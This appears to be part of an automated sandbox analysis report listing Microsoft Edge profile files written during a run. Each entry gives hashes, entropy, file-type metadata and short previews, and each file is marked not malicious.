Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379757631686215","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379757631686215","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c556fb3b-8c1d-4df0-b0d6-49f1eab3066d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ce3b4042-c1ce-4144-b0e0-2f70dc14b049.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17811), with no line terminators
Category:	dropped
Size (bytes):	17815
Entropy (8bit):	5.496326215661839
Encrypted:	false
SSDEEP:	384:stBPGQSu4hsBoTfhxCtz3k4bGhQwF6WTlaTY8:szOXuXMfENbGSCNaTY8
MD5:	4A720AB2344E085748D06D3527665859
SHA1:	3C621A17F9EBFF328487D12EE984E52CF33E037E
SHA-256:	C39B8AAE982F81FB4E49FB5B9746075EC47200ABF63E96FFCB85C4BC52990ADE
SHA-512:	00EBDEA7A432B085BDD15DB33F693ED655567E1F8741BAE218E307DA70AD562D3CA37BD651589401CAB743F629BADBE6FAB6A803F830CFCDA5FA657EA16E62AA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379757632293900","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10261748214866881
Encrypted:	false
SSDEEP:	6:Gu0y14u0yt/589XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/c:+ymy7spEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	A9EB5ED1E36EFA6CD3A5471EE6248BF1
SHA1:	709F04C0641E12B279C31CDC81BB03EE098164BA
SHA-256:	9210E76D2D8AC121F05F1992BE9E6F2A058F755C0565D32A4EE4F7E1ECF55E1A
SHA-512:	1FCCA93C73938E0A34605D835BABED553810F147BADB8ADAD8439A28689B07602700A2C1349B3D45B8F3A33BA768545118D2B1DDDB8F22E10C017D5E6AC9EF9C
Malicious:	false
Preview:	..-.............M...............4..}......Wc;z..-.............M...............4..}......Wc;z........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8895901336432999
Encrypted:	false
SSDEEP:	384:G2Xluq0qTRHKCxUCCDkkhC8WtCraWCqcECo3xX1YCPMv8PyJyy9ySylVyAxywY:7+Nk
MD5:	D1E045381F11480A2F5FCB4EBD373958
SHA1:	78DE8C62376D01DD495B4A36D70366083F6A05DC
SHA-256:	80EEF63D5C9297CE28D29A812543D7F3A4785AFD3FA51E9F00B104E7E8069796
SHA-512:	3F3F2891C46E089645DCEE1BC45E34A68B2F7BCE51A0A0B80C6E0E1B01F1917B178A5F3D744162C67354B1F78746D049D033B96BCADD4672F834C61A08D6BC03
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.538093009524339
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuu3llkTdU8y:iD+lkS
MD5:	ED2EF59D793A5FA9745FF670173C0D7F
SHA1:	6221862CA3D3BF8D3B5BA727D6EC547EE3C797CF
SHA-256:	438FD58E8E4C7B5DEB71481699D39CED54E77DE6BB887E057B845A18FD2D2235
SHA-512:	33934E777A0D38B2195814C9E2E2DC449457BE29A8B44F296FF570FAD8A7DF85DA3D8C188856DBEA8C727ECD980E73A4EE9E5CA1E38813C0FCF42135A1CCB86E
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............@..,;...............#38_h.......6.Z..W.F.....~.G.....~.G..........V.e................QQ..0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.121902950156752
Encrypted:	false
SSDEEP:	6:cF+VU+q2P923oH+TcwtfrK+IFUt8PF+uMJZmw+PF+uM9VkwO923oH+TcwtfrUeLJ:1pv4Yeb23FUt87e/+7S5LYeb3J
MD5:	2B6FB272E3CC688AFF933662822FF80A
SHA1:	EC2CDAE7C39F16E217AD5AAEDE95BA43F868115B
SHA-256:	6C784900636670A9CD86C71CC0D480168ADFB69EFBC99E99F06E13D9255A9630
SHA-512:	25A99688D2BE5EC589DE330305CA85FC156C6DABCF57ADEC8056280E7A9DBA77F47B5887AD14EE47D9BBBD8DC36954E4096F632C4DB30BC2ED6499346F886C11
Malicious:	false
Preview:	2024/12/27-02:20:32.330 2e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/27-02:20:32.331 2e8 Recovering log #3.2024/12/27-02:20:32.331 2e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.121902950156752
Encrypted:	false
SSDEEP:	6:cF+VU+q2P923oH+TcwtfrK+IFUt8PF+uMJZmw+PF+uM9VkwO923oH+TcwtfrUeLJ:1pv4Yeb23FUt87e/+7S5LYeb3J
MD5:	2B6FB272E3CC688AFF933662822FF80A
SHA1:	EC2CDAE7C39F16E217AD5AAEDE95BA43F868115B
SHA-256:	6C784900636670A9CD86C71CC0D480168ADFB69EFBC99E99F06E13D9255A9630
SHA-512:	25A99688D2BE5EC589DE330305CA85FC156C6DABCF57ADEC8056280E7A9DBA77F47B5887AD14EE47D9BBBD8DC36954E4096F632C4DB30BC2ED6499346F886C11
Malicious:	false
Preview:	2024/12/27-02:20:32.330 2e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/27-02:20:32.331 2e8 Recovering log #3.2024/12/27-02:20:32.331 2e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.1326426153195905
Encrypted:	false
SSDEEP:	6:cF+EDt+q2P923oH+TcwtfrzAdIFUt8PF+ED5Zmw+PF+EJEVkwO923oH+TcwtfrzS:kcv4Yeb9FUt8PN/+Pu5LYeb2J
MD5:	2CAAB0290A02A7460F7B433C4E7FC9FE
SHA1:	865B1CBB9EF576FD3E79CD2B1ABD92D040E62A3F
SHA-256:	8518E28E53DFBB1177B8CE63B6726DDD22C9C1CB9C4F0115FEC1CC6C6F81DC3F
SHA-512:	554C38303336E801C5418A35BC6A1A78232A888863772F1C70D5E5A1C1988FBBEFF52F37E3275D2233D9F937080DF48184A2E501BBED70C82D38DFB76282120F
Malicious:	false
Preview:	2024/12/27-02:20:32.325 2e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/27-02:20:32.325 2e8 Recovering log #3.2024/12/27-02:20:32.326 2e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.1326426153195905
Encrypted:	false
SSDEEP:	6:cF+EDt+q2P923oH+TcwtfrzAdIFUt8PF+ED5Zmw+PF+EJEVkwO923oH+TcwtfrzS:kcv4Yeb9FUt8PN/+Pu5LYeb2J
MD5:	2CAAB0290A02A7460F7B433C4E7FC9FE
SHA1:	865B1CBB9EF576FD3E79CD2B1ABD92D040E62A3F
SHA-256:	8518E28E53DFBB1177B8CE63B6726DDD22C9C1CB9C4F0115FEC1CC6C6F81DC3F
SHA-512:	554C38303336E801C5418A35BC6A1A78232A888863772F1C70D5E5A1C1988FBBEFF52F37E3275D2233D9F937080DF48184A2E501BBED70C82D38DFB76282120F
Malicious:	false
Preview:	2024/12/27-02:20:32.325 2e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/27-02:20:32.325 2e8 Recovering log #3.2024/12/27-02:20:32.326 2e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09074410160948
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMzwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEH6ntbz8hu3VlXr4CRo1
MD5:	4E2000BC4580BB65AAB7FB71F15F1108
SHA1:	A05BB3B3647986AFBB19951661996A1943A5E2C5
SHA-256:	3C736EBEE3E90E09176230967D5CA299C1780A36DEA8AEAD9D6D31984DF6B9F8
SHA-512:	15DD5FF87FF30EB8C6C292590F330E4E4E383FEE307A262C6ECD3FE5C643D38F0F6BFBDA6C9B7D88267B695849C7644B11BAF908D9431BC6A2C5264472434742
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a5a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09074410160948
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMzwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEH6ntbz8hu3VlXr4CRo1
MD5:	4E2000BC4580BB65AAB7FB71F15F1108
SHA1:	A05BB3B3647986AFBB19951661996A1943A5E2C5
SHA-256:	3C736EBEE3E90E09176230967D5CA299C1780A36DEA8AEAD9D6D31984DF6B9F8
SHA-512:	15DD5FF87FF30EB8C6C292590F330E4E4E383FEE307A262C6ECD3FE5C643D38F0F6BFBDA6C9B7D88267B695849C7644B11BAF908D9431BC6A2C5264472434742
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a605.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09074410160948
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMzwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEH6ntbz8hu3VlXr4CRo1
MD5:	4E2000BC4580BB65AAB7FB71F15F1108
SHA1:	A05BB3B3647986AFBB19951661996A1943A5E2C5
SHA-256:	3C736EBEE3E90E09176230967D5CA299C1780A36DEA8AEAD9D6D31984DF6B9F8
SHA-512:	15DD5FF87FF30EB8C6C292590F330E4E4E383FEE307A262C6ECD3FE5C643D38F0F6BFBDA6C9B7D88267B695849C7644B11BAF908D9431BC6A2C5264472434742
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a76c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09074410160948
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMzwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEH6ntbz8hu3VlXr4CRo1
MD5:	4E2000BC4580BB65AAB7FB71F15F1108
SHA1:	A05BB3B3647986AFBB19951661996A1943A5E2C5
SHA-256:	3C736EBEE3E90E09176230967D5CA299C1780A36DEA8AEAD9D6D31984DF6B9F8
SHA-512:	15DD5FF87FF30EB8C6C292590F330E4E4E383FEE307A262C6ECD3FE5C643D38F0F6BFBDA6C9B7D88267B695849C7644B11BAF908D9431BC6A2C5264472434742
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ce3e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09074410160948
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMzwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEH6ntbz8hu3VlXr4CRo1
MD5:	4E2000BC4580BB65AAB7FB71F15F1108
